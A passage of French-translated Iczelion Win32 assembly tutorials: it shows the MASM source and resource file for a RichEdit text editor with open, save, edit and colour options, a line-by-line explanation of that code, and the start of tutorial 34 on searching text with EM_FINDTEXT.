           WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
           CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
           hInst,NULL
    mov   hwnd,eax
    invoke ShowWindow, hwnd,SW_SHOWNORMAL
    invoke UpdateWindow, hwnd
    .while TRUE
        invoke GetMessage, ADDR msg,0,0,0
        .break .if (!eax)
        invoke TranslateMessage, ADDR msg
        invoke DispatchMessage, ADDR msg
    .endw
    mov   eax,msg.wParam
    ret
WinMain endp

StreamInProc proc hFile:DWORD,pBuffer:DWORD, NumBytes:DWORD, pBytesRead:DWORD
    invoke ReadFile,hFile,pBuffer,NumBytes,pBytesRead,0
    xor eax,1
    ret
StreamInProc endp

StreamOutProc proc hFile:DWORD,pBuffer:DWORD, NumBytes:DWORD, pBytesWritten:DWORD
    invoke WriteFile,hFile,pBuffer,NumBytes,pBytesWritten,0
    xor eax,1
    ret
StreamOutProc endp

CheckModifyState proc hWnd:DWORD
    invoke SendMessage,hwndRichEdit,EM_GETMODIFY,0,0
    .if eax!=0
        invoke MessageBox,hWnd,addr WannaSave,addr AppName,MB_YESNOCANCEL
        .if eax==IDYES
            invoke SendMessage,hWnd,WM_COMMAND,IDM_SAVE,0
        .elseif eax==IDCANCEL
            mov eax,FALSE
            ret
        .endif
    .endif
    mov eax,TRUE
    ret
CheckModifyState endp

SetColor proc
    LOCAL cfm:CHARFORMAT
    invoke SendMessage,hwndRichEdit,EM_SETBKGNDCOLOR,0,BackgroundColor
    invoke RtlZeroMemory,addr cfm,sizeof cfm
    mov cfm.cbSize,sizeof cfm
    mov cfm.dwMask,CFM_COLOR
    push TextColor
    pop cfm.crTextColor
    invoke SendMessage,hwndRichEdit,EM_SETCHARFORMAT,SCF_ALL,addr cfm
    ret
SetColor endp

OptionProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL clr:CHOOSECOLOR
    .if uMsg==WM_INITDIALOG
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDC_BACKCOLORBOX
                invoke RtlZeroMemory,addr clr,sizeof clr
                mov clr.lStructSize,sizeof clr
                push hWnd
                pop clr.hwndOwner
                push hInstance
                pop clr.hInstance
                push BackgroundColor
                pop clr.rgbResult
                mov clr.lpCustColors,offset CustomColors
                mov clr.Flags,CC_ANYCOLOR or CC_RGBINIT
                invoke ChooseColor,addr clr
                .if eax!=0
                    push clr.rgbResult
                    pop BackgroundColor
                    invoke GetDlgItem,hWnd,IDC_BACKCOLORBOX
                    invoke InvalidateRect,eax,0,TRUE
                .endif
            .elseif ax==IDC_TEXTCOLORBOX
                invoke RtlZeroMemory,addr clr,sizeof clr
                mov clr.lStructSize,sizeof clr
                push hWnd
                pop clr.hwndOwner
                push hInstance
                pop clr.hInstance
                push TextColor
                pop clr.rgbResult
                mov clr.lpCustColors,offset CustomColors
                mov clr.Flags,CC_ANYCOLOR or CC_RGBINIT
                invoke ChooseColor,addr clr
                .if eax!=0
                    push clr.rgbResult
                    pop TextColor
                    invoke GetDlgItem,hWnd,IDC_TEXTCOLORBOX
                    invoke InvalidateRect,eax,0,TRUE
                .endif
            .elseif ax==IDOK
                ;==================================================================================
                ; Save the modify state of the richedit control because changing the text color changes the
                ; modify state of the richedit control.
                ;==================================================================================
                invoke SendMessage,hwndRichEdit,EM_GETMODIFY,0,0
                push eax
                invoke SetColor
                pop eax
                invoke SendMessage,hwndRichEdit,EM_SETMODIFY,eax,0
                invoke EndDialog,hWnd,0
            .endif
        .endif
    .elseif uMsg==WM_CTLCOLORSTATIC
        invoke GetDlgItem,hWnd,IDC_BACKCOLORBOX
        .if eax==lParam
            invoke CreateSolidBrush,BackgroundColor
            ret
        .else
            invoke GetDlgItem,hWnd,IDC_TEXTCOLORBOX
            .if eax==lParam
                invoke CreateSolidBrush,TextColor
                ret
            .endif
        .endif
        mov eax,FALSE
        ret
    .elseif uMsg==WM_CLOSE
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
OptionProc endp

WndProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL chrg:CHARRANGE
    LOCAL ofn:OPENFILENAME
    LOCAL buffer[256]:BYTE
    LOCAL editstream:EDITSTREAM
    LOCAL hFile:DWORD
    .if uMsg==WM_CREATE
        invoke CreateWindowEx,WS_EX_CLIENTEDGE,addr RichEditClass,0,WS_CHILD or WS_VISIBLE or ES_MULTILINE or WS_VSCROLL or WS_HSCROLL or ES_NOHIDESEL,\
                CW_USEDEFAULT,CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,hWnd,RichEditID,hInstance,0
        mov hwndRichEdit,eax
        ;=============================================================
        ; Set the text limit. The default is 64K
        ;=============================================================
        invoke SendMessage,hwndRichEdit,EM_LIMITTEXT,-1,0
        ;=============================================================
        ; Set the default text/background color
        ;=============================================================
        invoke SetColor
        invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
        invoke SendMessage,hwndRichEdit,EM_EMPTYUNDOBUFFER,0,0
    .elseif uMsg==WM_INITMENUPOPUP
        mov eax,lParam
        .if ax==0		; file menu
            .if FileOpened==TRUE	; a file is already opened
                invoke EnableMenuItem,wParam,IDM_OPEN,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_CLOSE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_SAVE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_SAVEAS,MF_ENABLED
            .else
                invoke EnableMenuItem,wParam,IDM_OPEN,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_CLOSE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_SAVE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_SAVEAS,MF_GRAYED
            .endif
        .elseif ax==1	; edit menu
            ;=============================================================================
            ; Check whether there is some text in the clipboard. If so, we enable the paste menuitem
            ;=============================================================================
            invoke SendMessage,hwndRichEdit,EM_CANPASTE,CF_TEXT,0
            .if eax==0		; no text in the clipboard
                invoke EnableMenuItem,wParam,IDM_PASTE,MF_GRAYED
            .else
                invoke EnableMenuItem,wParam,IDM_PASTE,MF_ENABLED
            .endif
            ;==========================================================
            ; check whether the undo queue is empty
            ;==========================================================
            invoke SendMessage,hwndRichEdit,EM_CANUNDO,0,0
            .if eax==0
                invoke EnableMenuItem,wParam,IDM_UNDO,MF_GRAYED
            .else
                invoke EnableMenuItem,wParam,IDM_UNDO,MF_ENABLED
            .endif
            ;=========================================================
            ; check whether the redo queue is empty
            ;=========================================================
            invoke SendMessage,hwndRichEdit,EM_CANREDO,0,0
            .if eax==0
                invoke EnableMenuItem,wParam,IDM_REDO,MF_GRAYED
            .else
                invoke EnableMenuItem,wParam,IDM_REDO,MF_ENABLED
            .endif
            ;=========================================================
            ; check whether there is a current selection in the richedit control.
            ; If there is, we enable the cut/copy/delete menuitem
            ;=========================================================
            invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr chrg
            mov eax,chrg.cpMin
            .if eax==chrg.cpMax		; no current selection
                invoke EnableMenuItem,wParam,IDM_COPY,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_CUT,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_DELETE,MF_GRAYED
            .else
                invoke EnableMenuItem,wParam,IDM_COPY,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_CUT,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_DELETE,MF_ENABLED
            .endif
        .endif
    .elseif uMsg==WM_COMMAND
        .if lParam==0		; menu commands
            mov eax,wParam
            .if ax==IDM_OPEN
                invoke RtlZeroMemory,addr ofn,sizeof ofn
                mov ofn.lStructSize,sizeof ofn
                push hWnd
                pop ofn.hwndOwner
                push hInstance
                pop ofn.hInstance
                mov ofn.lpstrFilter,offset ASMFilterString
                mov ofn.lpstrFile,offset FileName
                mov byte ptr [FileName],0
                mov ofn.nMaxFile,sizeof FileName
                mov ofn.Flags,OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_PATHMUSTEXIST
                invoke GetOpenFileName,addr ofn
                .if eax!=0
                    invoke CreateFile,addr FileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
                    .if eax!=INVALID_HANDLE_VALUE
                        mov hFile,eax
                        ;================================================================
                        ; stream the text into the richedit control
                        ;================================================================
                        mov editstream.dwCookie,eax
                        mov editstream.pfnCallback,offset StreamInProc
                        invoke SendMessage,hwndRichEdit,EM_STREAMIN,SF_TEXT,addr editstream
                        ;==========================================================
                        ; Initialize the modify state to false
                        ;==========================================================
                        invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
                        invoke CloseHandle,hFile
                        mov FileOpened,TRUE
                    .else
                        invoke MessageBox,hWnd,addr OpenFileFail,addr AppName,MB_OK or MB_ICONERROR
                    .endif
                .endif
            .elseif ax==IDM_CLOSE
                invoke CheckModifyState,hWnd
                .if eax==TRUE
                    invoke SetWindowText,hwndRichEdit,0
                    mov FileOpened,FALSE
                .endif
            .elseif ax==IDM_SAVE
                invoke CreateFile,addr FileName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
                .if eax!=INVALID_HANDLE_VALUE
@@:
                    mov hFile,eax
                    ;================================================================
                    ; stream the text to the file
                    ;================================================================
                    mov editstream.dwCookie,eax
                    mov editstream.pfnCallback,offset StreamOutProc
                    invoke SendMessage,hwndRichEdit,EM_STREAMOUT,SF_TEXT,addr editstream
                    ;==========================================================
                    ; Initialize the modify state to false
                    ;==========================================================
                    invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
                    invoke CloseHandle,hFile
                .else
                    invoke MessageBox,hWnd,addr OpenFileFail,addr AppName,MB_OK or MB_ICONERROR
                .endif
            .elseif ax==IDM_COPY
                invoke SendMessage,hwndRichEdit,WM_COPY,0,0
            .elseif ax==IDM_CUT
                invoke SendMessage,hwndRichEdit,WM_CUT,0,0
            .elseif ax==IDM_PASTE
                invoke SendMessage,hwndRichEdit,WM_PASTE,0,0
            .elseif ax==IDM_DELETE
                invoke SendMessage,hwndRichEdit,EM_REPLACESEL,TRUE,0
            .elseif ax==IDM_SELECTALL
                mov chrg.cpMin,0
                mov chrg.cpMax,-1
                invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr chrg
            .elseif ax==IDM_UNDO
                invoke SendMessage,hwndRichEdit,EM_UNDO,0,0
            .elseif ax==IDM_REDO
                invoke SendMessage,hwndRichEdit,EM_REDO,0,0
            .elseif ax==IDM_OPTION
                invoke DialogBoxParam,hInstance,IDD_OPTIONDLG,hWnd,addr OptionProc,0
            .elseif ax==IDM_SAVEAS
                invoke RtlZeroMemory,addr ofn,sizeof ofn
                mov ofn.lStructSize,sizeof ofn
                push hWnd
                pop ofn.hwndOwner
                push hInstance
                pop ofn.hInstance
                mov ofn.lpstrFilter,offset ASMFilterString
                mov ofn.lpstrFile,offset AlternateFileName
                mov byte ptr [AlternateFileName],0
                mov ofn.nMaxFile,sizeof AlternateFileName
                mov ofn.Flags,OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_PATHMUSTEXIST
                invoke GetSaveFileName,addr ofn
                .if eax!=0
                    invoke CreateFile,addr AlternateFileName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
                    .if eax!=INVALID_HANDLE_VALUE
                        jmp @B
                    .endif
                .endif
            .elseif ax==IDM_EXIT
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        invoke CheckModifyState,hWnd
        .if eax==TRUE
            invoke DestroyWindow,hWnd
        .endif
    .elseif uMsg==WM_SIZE
        mov eax,lParam
        mov edx,eax
        and eax,0FFFFh
        shr edx,16
        invoke MoveWindow,hwndRichEdit,0,0,eax,edx,TRUE
    .elseif uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .else
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .endif
    xor eax,eax
    ret
WndProc endp
end start

;===================================================================
; The resource file
;===================================================================
#include "resource.h"
#define IDR_MAINMENU                    101
#define IDD_OPTIONDLG                   101
#define IDC_BACKCOLORBOX                1000
#define IDC_TEXTCOLORBOX                1001
#define IDM_OPEN                        40001
#define IDM_SAVE                        40002
#define IDM_CLOSE                       40003
#define IDM_SAVEAS                      40004
#define IDM_EXIT                        40005
#define IDM_COPY                        40006
#define IDM_CUT                         40007
#define IDM_PASTE                       40008
#define IDM_DELETE                      40009
#define IDM_SELECTALL                   40010
#define IDM_OPTION                      40011
#define IDM_UNDO                        40012
#define IDM_REDO                        40013

IDR_MAINMENU MENU DISCARDABLE
BEGIN
    POPUP "&File"
    BEGIN
        MENUITEM "&Open",                       IDM_OPEN
        MENUITEM "&Close",                      IDM_CLOSE
        MENUITEM "&Save",                       IDM_SAVE
        MENUITEM "Save &As",                    IDM_SAVEAS
        MENUITEM SEPARATOR
        MENUITEM "E&xit",                       IDM_EXIT
    END
    POPUP "&Edit"
    BEGIN
        MENUITEM "&Undo",                       IDM_UNDO
        MENUITEM "&Redo",                       IDM_REDO
        MENUITEM "&Copy",                       IDM_COPY
        MENUITEM "C&ut",                        IDM_CUT
        MENUITEM "&Paste",                      IDM_PASTE
        MENUITEM SEPARATOR
        MENUITEM "&Delete",                     IDM_DELETE
        MENUITEM SEPARATOR
        MENUITEM "Select &All",                 IDM_SELECTALL
    END
    MENUITEM "Options",                     IDM_OPTION
END

IDD_OPTIONDLG DIALOG DISCARDABLE  0, 0, 183, 54
STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU | DS_CENTER
CAPTION "Options"
FONT 8, "MS Sans Serif"
BEGIN
    DEFPUSHBUTTON   "OK",IDOK,137,7,39,14
    PUSHBUTTON      "Cancel",IDCANCEL,137,25,39,14
    GROUPBOX        "",IDC_STATIC,5,0,124,49
    LTEXT           "Background Color:",IDC_STATIC,20,14,60,8
    LTEXT           "",IDC_BACKCOLORBOX,85,11,28,14,SS_NOTIFY | WS_BORDER
    LTEXT           "Text Color:",IDC_STATIC,20,33,35,8
    LTEXT           "",IDC_TEXTCOLORBOX,85,29,28,14,SS_NOTIFY | WS_BORDER
END

Analyse:

Le programme charge en premier lieu la dll richedit dll, qui dans notre cas est riched20.dll. Si la dll n'a pas pu être chargée, on revient à Windows.

invoke LoadLibrary,addr RichEditDLL
.if eax!=0
    mov hRichEdit,eax
    invoke WinMain,hInstance,0,0, SW_SHOWDEFAULT
    invoke FreeLibrary,hRichEdit
.else
    invoke MessageBox,0,addr NoRichEdit,addr AppName,MB_OK or MB_ICONERROR
.endif
invoke ExitProcess,eax

Après que la dll ait été chargée avec succès, nous continuons à créer une fenêtre normale qui sera le parent du Richedit Control. Dans la section WM_CREATE, nous créons le Richedit Control :

        invoke CreateWindowEx,WS_EX_CLIENTEDGE,addr RichEditClass,0,WS_CHILD or WS_VISIBLE or ES_MULTILINE or WS_VSCROLL or WS_HSCROLL or ES_NOHIDESEL,\
                CW_USEDEFAULT,CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,hWnd,RichEditID,hInstance,0
        mov hwndRichEdit,eax

Notez que nous spécifions le style ES_MULTILINE sinon le Control n'aura pas de retour à la ligne..

        invoke SendMessage,hwndRichEdit,EM_LIMITTEXT,-1,0

Après que le Richedit Control soit créé, nous devons y mettre la nouvelle limite de texte. Par défaut, la taille limite de texte du Richedit Control est de 64Ko, c'est la même valeur que pour Edit Control multilignes. Nous devons étendre cette limite pour lui permettre de fonctionner avec de plus grands fichiers. À la ligne ci-dessus, je mets -1, ce qui équivaut à 0FFFFFFFFh, une très grande valeur.

       invoke SetColor

Ensuite, nous appliquons la couleur du texte et du fond. Puisque cette opération peut être exécutée dans d'autres parties du programme, j'ai mis le code dans une fonction nommée SetColor.

SetColor proc
    LOCAL cfm:CHARFORMAT
    invoke SendMessage,hwndRichEdit,EM_SETBKGNDCOLOR,0,BackgroundColor

L'application de la couleur de fond du Richedit Control est une opération simple et directe : envoyez simplement le message EM_SETBKGNDCOLOR au Richedit Control. (Si vous employez en Edit Control multi-ligne, vous devez traiter WM_CTLCOLOREDIT). La couleur de fond par défaut est blanche.

    invoke RtlZeroMemory,addr cfm,sizeof cfm
    mov cfm.cbSize,sizeof cfm
    mov cfm.dwMask,CFM_COLOR
    push TextColor
    pop cfm.crTextColor

Après que la couleur de fond ait été transmise, nous remplissons les membres de la structure CHARFORMAT pour définir la couleur du texte. Notez que nous remplissons cbSize avec la taille de cette structure, ainsi le Richedit Control sait que nous envoyons CHARFORMAT, et non pas CHARFORMAT2. dwMask n'a qu'un seul Flag, CFM_COLOR, parce que nous souhaitons seulement donner une couleur de texte, et crTextColor est rempli de la valeur de la couleur voulue.

    invoke SendMessage,hwndRichEdit,EM_SETCHARFORMAT,SCF_ALL,addr cfm
    ret
SetColor endp

Après avoir donné une couleur, vous devez vider le buffer parce que le fait de changer de couleur de texte ou de fond est annulable. Nous envoyons le message EM_EMPTYUNDOBUFFER pour réaliser cela.

    invoke SendMessage,hwndRichEdit,EM_EMPTYUNDOBUFFER,0,0

Après le remplissage de la structure CHARFORMAT, nous envoyons EM_SETCHARFORMAT au Richedit Control, en mettant le Flag SCF_ALL dans wParam pour indiquer que nous voulons que le formatage de texte soit appliqué à la totalité du texte.

Notez que quand nous avons créé le Richedit Control la toute première fois, nous n'avons pas spécifié sa taille ni sa position à ce moment là. C'est parce que nous vouhaitons qu'il recouvre le secteur de client de la fenêtre parente en entier. Nous le redimensionnons à chaque fois que la taille de la fenêtre parente change.

    .elseif uMsg==WM_SIZE
        mov eax,lParam
        mov edx,eax
        and eax,0FFFFh
        shr edx,16
        invoke MoveWindow,hwndRichEdit,0,0,eax,edx,TRUE

Dans le petit bout de code ci-dessus, nous employons la nouvelle dimension du secteur client passée dans lParam pour redimensionner le Richedit Control grâce à MoveWindow.

Quand l'utilisateur clique sur le menu de File/Edit, nous traitons le message WM_INITPOPUPMENU pour que nous puissions préparer les états des items du sous-menu avant son affichage. Par exemple, si un fichier est déjà ouvert dans le Richedit Control, alors nous souhaitons que l'item le représentant soit inactif et mettre tous les autres actifs.

Dans le cas de l'item File, nous employons la variable FileOpened comme Flag pour déterminer si un fichier est déjà ouvert. Si la valeur dans cette variable est TRUE, alors nous savons qu'un fichier est déjà ouvert.

    .elseif uMsg==WM_INITMENUPOPUP
        mov eax,lParam
        .if ax==0		; file menu
            .if FileOpened==TRUE	; a file is already opened
                invoke EnableMenuItem,wParam,IDM_OPEN,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_CLOSE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_SAVE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_SAVEAS,MF_ENABLED
            .else
                invoke EnableMenuItem,wParam,IDM_OPEN,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_CLOSE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_SAVE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_SAVEAS,MF_GRAYED
            .endif

Comme vous pouvez le voir, si un fichier est déjà ouvert, nous grisons le menuitem ouvert et nous activons les autres.

Dans le cas de l'Item Edit, nous avons besoin de vérifier l'état du RichEdit Control:ClipBoard. (Le presse papier)

            invoke SendMessage,hwndRichEdit,EM_CANPASTE,CF_TEXT,0
            .if eax==0		; no text in the clipboard
                invoke EnableMenuItem,wParam,IDM_PASTE,MF_GRAYED
            .else
                invoke EnableMenuItem,wParam,IDM_PASTE,MF_ENABLED
            .endif

Nous vérifions d'abord si du texte est présent dans le presse-papiers en envoyant le message EM_CANPASTE. S'il en a, SendMessage retourne TRUE et nous rendons actif le menuitem "Past'. Si y en a pas, on le grise.

            invoke SendMessage,hwndRichEdit,EM_CANUNDO,0,0
            .if eax==0
                invoke EnableMenuItem,wParam,IDM_UNDO,MF_GRAYED
            .else
                invoke EnableMenuItem,wParam,IDM_UNDO,MF_ENABLED
            .endif

Ensuite, nous vérifions si le buffer est vide en envoyant le message EM_CANUNDO. Si ce n'est pas le cas, SendMessage retourne TRUE alors on rend actif le menuitem 'undo' (Annuler).

            invoke SendMessage,hwndRichEdit,EM_CANREDO,0,0
            .if eax==0
                invoke EnableMenuItem,wParam,IDM_REDO,MF_GRAYED
            .else
                invoke EnableMenuItem,wParam,IDM_REDO,MF_ENABLED
            .endif

Nous vérifions le buffer en envoyant de nouveau au Richedi Control le message EM_CANREDO. S'il n'est toujours pas vide, SendMessage retourne TRUE et nous rendons actif le menuitem 'redo' (répéter/refaire).

            invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr chrg
            mov eax,chrg.cpMin
            .if eax==chrg.cpMax		; no current selection
                invoke EnableMenuItem,wParam,IDM_COPY,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_CUT,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_DELETE,MF_GRAYED
            .else
                invoke EnableMenuItem,wParam,IDM_COPY,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_CUT,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_DELETE,MF_ENABLED
            .endif

Finalement, nous vérifions si un bout de texte est actuellement sous sélectionen envoyant le message EM_EXGETSEL. Ce message utilise une structure CHARRANGE qui est définie comme suit :

CHARRANGE STRUCT
  cpMin  DWORD      ?
  cpMax  DWORD      ?
CHARRANGE ENDS

cpMin contient l'index de position du caractère précédant immédiatement le premier caractère de la gamme. (n° du anté-1er caractère sélectionné).
cpMax contient la position du caractère immédiatement après le dernier caractère dans la gamme.

Après le retour du message EM_EXGETSEL, la structure CHARRANGE est remplie avec les index de position des caractères de début et de fin de la gamme de sélection. S'il n'y a aucune sélection, cpMin et cpMax sont identique et nous grisons les menuitems cut/copy/delete.

Quand l'utilisateur clique sur le menuitem Open, nous affichons une DialogBox de type OPENFILENAME servant à louverture d'un fichier sur le disque dur, et si l'utilisateur choisit un fichier, nous l'ouvrons et (stream in) envoyons son contenu au Richedit Control.

                    invoke CreateFile,addr FileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
                    .if eax!=INVALID_HANDLE_VALUE
                        mov hFile,eax

                        mov editstream.dwCookie,eax
                        mov editstream.pfnCallback,offset StreamInProc
                        invoke SendMessage,hwndRichEdit,EM_STREAMIN,SF_TEXT,addr editstream

Après que le fichier ait été ouvert avec succès en utilisant CreateFile, nous remplissons la structure EDITSTREAM en vu de l'utiliser pour le message EM_STREAMIN. Nous voulons envoyer le handle du fichier ouvert via le membre dwCookie et passer l'adresse de la fonction CallBack dans le membre pfnCallback.

La fonction CallBack d'envoi de données vraiment très simple.

StreamInProc proc hFile:DWORD,pBuffer:DWORD, NumBytes:DWORD, pBytesRead:DWORD
    invoke ReadFile,hFile,pBuffer,NumBytes,pBytesRead,0
    xor eax,1
    ret
StreamInProc endp

Vous pouvez voir que tous les paramètres de la fonction CallBack d'envoi s'accordent parfaitement avec ReadFile. Et la valeur en retour de ReadFile est une valeur xor-ée avec 1 comme si le retour vaut 1 (succès), la valeur réellement retournée dans eax sera 0 et inversement.

    invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
    invoke CloseHandle,hFile
    mov FileOpened,TRUE

Après le retour de EM_STREAMIN, ça signifie que l'opération de stream in (d'envoi) est achevée. En réalité, nous devons effectuer une vérification sur la valeur du membre dwError de la structure EDITSTREAM.

Le Richedit Control (et l'Edit Control) garde un Flag à 1 pour indiquer si son contenu est modifié. Nous pouvons obtenir la valeur de ce Flag en envoyant le message EM_GETMODIFY au Control. En retour, SendMessage est TRUE si le contenu du Control a été modifié. Puisque nous envoyons du texte dans le Control, c'est en quelque sorte une modification. Une fois que l'opération d'envoi est terminée, nous devons remettre le Flag modifié à FALSE (0) en envoyant le message EM_SETMODIFY avec wParam = FALSE au Control avant de pouvoir recommencer. Nous fermons immédiatement le fichier et mettons notre Bit Flag FileOpenedà TRUE pour indiquer qu'un fichier a été ouvert.

Quand l'utilisateur clique sur les menuItems save/save as..., nous employons le message EM_STREAMOUT pour récupérer le contenu du Richedit Control et l'envoyer au fichier. Comme avec la fonction CallBack streamin (Envoi de données), la fonction CallBack stream-out (Récupération de données) d'est d'une simplicité en soi. Elle va parfaitement avec WriteFile.

Les opérations de texte tels que cut/copy/paste/redo/undo sont facilement exécutées en envoyant simplement un message Richedit Control, respectivement : WM_CUT/WM_COPY/WM_PASTE/WM_REDO/WM_UNDO.

Ces opérations sont les suivantes :

            .elseif ax==IDM_DELETE
                invoke SendMessage,hwndRichEdit,EM_REPLACESEL,TRUE,0
            .elseif ax==IDM_SELECTALL
                mov chrg.cpMin,0
                mov chrg.cpMax,-1
                invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr chrg

L'opération 'delete' concerne la sélection actuelle. J'envoie le message EM_REPLACESEL avec une chaîne de caractères vide (NULL) comme ça le texte sélectionné dans le Richedit Control sera remplacer du texte vide. => delete

L'opération "Select All" est effectuée en envoyant le message EM_EXSETSEL en lui associant les paramètres cpMin = 0 et cpMax =-1 qui font en sorte d'étendre la sélection à tout le texte.

Quand l'utilisateur choisit l'Item 'Option', nous affichons une DialogBox présentant les couleur de fond et couleur du texte actuelles.

Quand l'utilisateur clique sur une des zones colorées, ça fait apparaître la DialogBox de palette des couleurs de Windows. Les deux zones colorées sont en fait de simples 'Static Controls' sur lesquels on a mis les Flags SS_NOTIFY et WS_BORDER. Un Static Control avec le Flag SS_NOTIFY informera sa fenêtre parente des actions relatives à la souris, comme BN_CLICKED (STN_CLICKED). Le tour est joué :

            .elseif ax==IDC_BACKCOLORBOX
                invoke RtlZeroMemory,addr clr,sizeof clr
                mov clr.lStructSize,sizeof clr
                push hWnd

                pop clr.hwndOwner
                push hInstance
                pop clr.hInstance
                push BackgroundColor
                pop clr.rgbResult
                mov clr.lpCustColors,offset CustomColors
                mov clr.Flags,CC_ANYCOLOR or CC_RGBINIT
                invoke ChooseColor,addr clr
                .if eax!=0
                    push clr.rgbResult
                    pop BackgroundColor
                    invoke GetDlgItem,hWnd,IDC_BACKCOLORBOX
                    invoke InvalidateRect,eax,0,TRUE
                .endif

Quand l'utilisateur clique sur une des zones colorées, nous remplissons les membres de la structure CHOOSECOLOR et appelons la fonction ChooseColor pour afficher la DialogBox de palette des couleurs. Si l'utilisateur choisit une couleur, la valeur de cette couleur est renvoyée dans le membre rgbResult et nous stockons cette valeur dans la variable BackgroundColor. Après cela, nous forçons la zone colorée à se rafraîchir (actaliser) en appelant InvalidateRect avec l'handle de la zone colorée. La zone colorée envoie le message WM_CTLCOLORSTATIC à sa fenêtre parente.

        invoke GetDlgItem,hWnd,IDC_BACKCOLORBOX
        .if eax==lParam
            invoke CreateSolidBrush,BackgroundColor
            ret

Dans la section de code traitant le message WM_CTLCOLORSTATIC, nous comparons l'handle du Static Control passé dans lParam avec celui des deux zones colorées. Si une des valeurs correspond, alors nous créons une nouvelle brosse employant la nouvelle couleur. Le Static Control emploiera cette nouvelle brosse pour repeindre son fond.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial No.34: RichEdit Control: More Text Operations

Tutorial 34: RichEdit Control:
Encore plus d' opérations sur le texte

Vous allez en apprendre encore plus à propos des opérations à effectuer sur le texte des RichEdit Controls. En particulier, on va étudier comment Rechercher/Remplacer un bout de texte, en sautant jusqu'au numéro de ligne spécifique.

Downloadez l'exemple.

Théorie

Recherche de Texte

Il y a plusieurs opérations possibles à effectuer sur les textes des RichEdit Contols. La recherche de texte en fait partie. La recherche de texte se fait en envoyant EM_FINDTEXT ou EM_FINDTEXTEX. Ces messages ont une petite différence.

EM_FINDTEXT
wParam == Options de recherche. Ca peut être une combinaison des valeurs ci-dessous. Ces options sont identiques pour les deux messages EM_FINDTEXT
et EM_FINDTEXTEX
FR_DOWN

Si ce Flag est spécifié, la recherche débute à partir du dernier caractère actuellement sélectionné (ou au Caret si rien est sélectionné) et se termine à la fin du texte contenu dans le RichEdit Control (de haut en bas). Ce Flag ne fonctionne que pour la dll RichEdit 2.0 ou plus : Ce comportement est celui par défaut pour la dll RichEdit 1.0. Le comportement par défaut de RichEdit 2.0 et plus est une recherche qui commence au dernier caractère actuellement sélectionné et se termine au premier caractère du texte (du bas vers le haut).
En résumé, si vous employez RichEdit 1.0, vous ne pouvez pas contrôler le sens de la Recherche : Elle se fait toujours de haut en bas. Si vous utilisez RichEdit 2.0 et que vous voulez faire une recherche de haut en bas, vous devez spécifier ce Flag sinon elle se fera en remontant.
FR_MATCHCASE | Si ce Flag est spécifié, la recherche est sensible à la casse (il fait la différence entre les minuscules et les majuscules).
FR_WHOLEWORD | Si ce Flag est mis, la recherche trouve le mot exacte qui correspond à la chaîne de caractères indiquée. (recherche "voir" --> "avoir" n'est pas retenu).
En réalité, il y a quelques autres Flags mais ils sont destinés à l'usage des langages non-anglophones.
LParam = Pointeur sur la structure FINDTEXT.

            FINDTEXT STRUCT
              chrg          CHARRANGE  <>
              lpstrText     DWORD      ?
            FINDTEXT ENDS

chrg est une structure CHARRANGE qui est définie comme suit :
            CHARRANGE STRUCT
              cpMin  DWORD      ?
              cpMax  DWORD      ?
            CHARRANGE ENDS

cpMin contient l'index du premier caractère de la gamme sélectionnée.
cpMax contient l'index du caractère suivant le dernier caractère sélectionné.

